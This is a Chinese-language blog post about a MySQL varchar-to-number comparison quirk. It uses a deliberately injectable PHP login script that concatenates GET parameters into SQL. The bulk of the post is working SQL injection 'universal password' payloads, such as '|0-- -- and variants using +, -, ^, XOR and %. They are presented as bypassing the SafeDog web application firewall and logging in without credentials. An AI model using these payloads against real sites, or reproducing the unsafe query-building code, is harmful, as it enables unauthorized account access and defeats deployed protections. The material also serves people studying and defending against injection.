0x00前言
设计mysql数据表时,通常用户名、密码的类型为varchar或者char,可以利用Mysql varchar或char类型同数字比较的自动转换机制,构造最新过狗(安全狗V3.5.12048)新型万能密码。先上一个payload尝鲜:'|0-- --
,详细分析过程如下:
0x01 Mysql数据库varchar或者char与数字比较的Trick
数据结构如下所示(以varchar类型为例,char类型类似),Mysql版本号:5.7.211
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20mysql> show columns from user;
+----------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+-------+
| id | int(50) | NO | | NULL | |
| username | varchar(500) | NO | | NULL | |
| password | varchar(500) | NO | | NULL | |
+----------+--------------+------+-----+---------+-------+
3 rows in set (0.00 sec)
mysql> select * from user ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | admin |
| 2 | test | test |
| 3 | 3test | 3test |
| 4 | 4test | 4test |
+----+----------+----------+
4 rows in set (0.00 sec)
进行如下测试实验:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32mysql> select * from user where username='admin';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | admin |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from user where username=0;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | admin |
| 2 | test | test |
+----+----------+----------+
2 rows in set, 1 warning (0.00 sec)
mysql> select * from user where username=3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | 3test | 3test |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)
mysql> select * from user where username=4;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 4 | 4test | 4test |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)
由结果可知,Mysql数据库中,varchar与数字比较时,会强制转换varchar为数字再进行比较(类似php语言中的intval函数处理)非数字开头的varchar字符串会转换为0再进行比较,数字开头的varchar字符串转化为开头对应数字部分的值再进行比较,所以当username和0进行比较时,会返回所有不是数字开头的结果。
0x02 构造过狗万能密码
一个常见的存在SQL注入的服务器,根据输入的用户名密码返回对应的用户信息,PHP代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "test";
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
$sql = "SELECT * FROM user where username='".$_GET['username']."' and password='".$_GET['password']."'" ;
var_dump($sql);
$result = $conn->query($sql);
if ($result and $result->num_rows>0) {
while($row = mysqli_fetch_assoc($result)) {
echo "id:".$row["id"]. "; username:".$row["username"]. "; password:".$row["password"]."<br>";
}
}
$conn->close();
万能密码1
1 | http://127.0.0.1/sql_test.php?username='|0-- --&password=1 |
万能密码2(使用limit控制返回一条数据)
1 | http://127.0.0.1/sql_test.php?username='|0 limit 0,1-- -- &password=1 |
万能密码3(根据用户名只返回admin的信息)
1 | http://127.0.0.1/sql_test.php?username=admin&password='|0-- -- |
万能密码4(不需要注释符–)
1 | http://127.0.0.1/sql_test.php?username=admin&password='|0|' |
万能密码(同理,使用其他运算符也能达到相同的效果,汇总一下)
1 | http://127.0.0.1/sql_test.php?username='%2b0-- --&password=1 |
ps:其中除法运算,除数不能为0,输入为'/1-- --
相当于0/1等于0;求余运算,底数不能为0,输入%1-- --
相当于0%1等于0。根据实际环境利用方式可自由变换
过狗测试
如图所示,防护日志中,逻辑||
运行会被安全狗拦截,而上面的+,-,*,/,^,|,XOR,%,=,>=,<=,<<,>>
等运算均可以完美绕过安全狗的防护。